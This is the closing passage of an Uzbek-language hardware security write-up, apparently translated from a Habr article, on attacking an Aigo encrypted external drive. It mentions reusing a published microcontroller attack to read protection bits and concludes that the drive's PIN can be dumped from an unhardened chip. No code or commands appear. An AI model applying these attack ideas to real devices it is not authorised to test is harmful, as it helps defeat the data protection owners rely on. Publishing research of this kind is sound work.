SROM, ehtimol, ReadBlock tizimi qo'ng'irog'i orqali himoya bitlarini o'qiganligi sababli, biz xuddi shu narsani qilishimiz mumkin tasvirlangan Dmitriy Nedospasovning blogida - konferentsiyada e'lon qilingan Kris Gerlinskining hujumini qayta amalga oshirish "REcon Brussels 2017".

Qilishi mumkin bo'lgan yana bir qiziqarli narsa - bu ishni chipdan olib tashlash: SRAM chiqindilarini olish, hujjatsiz tizim qo'ng'iroqlari va zaifliklarni aniqlash.

9. Xulosa

Shunday qilib, ushbu drayverning himoyasi ko'p narsani orzu qiladi, chunki u PIN kodni saqlash uchun oddiy ("qattiqlashtirilgan" emas) mikrokontrollerdan foydalanadi... Bundan tashqari, men (hali) ma'lumotlar bilan qanday ketayotganini ko'rib chiqmadim. ushbu qurilmada shifrlash!

Aigo uchun nimani tavsiya qila olasiz? Shifrlangan HDD drayverlarning bir nechta modellarini tahlil qilgandan so'ng, 2015 yilda men yaratdim taqdimot SyScan-da, unda u bir nechta tashqi HDD drayverlarning xavfsizlik muammolarini ko'rib chiqdi va ularda nimani yaxshilash mumkinligi haqida tavsiyalar berdi. 🙂

Men ikki hafta oxiri va bir necha oqshomlarni ushbu tadqiqot bilan o'tkazdim. Jami taxminan 40 soat. Eng boshidan (men diskni ochganimda) oxirigacha hisoblash (PIN kodini tashlash). Xuddi shu 40 soat men ushbu maqolani yozishga sarflagan vaqtimni o'z ichiga oladi. Bu juda qiziqarli sayohat edi.

Manba: www.habr.com

a Izoh qo'shish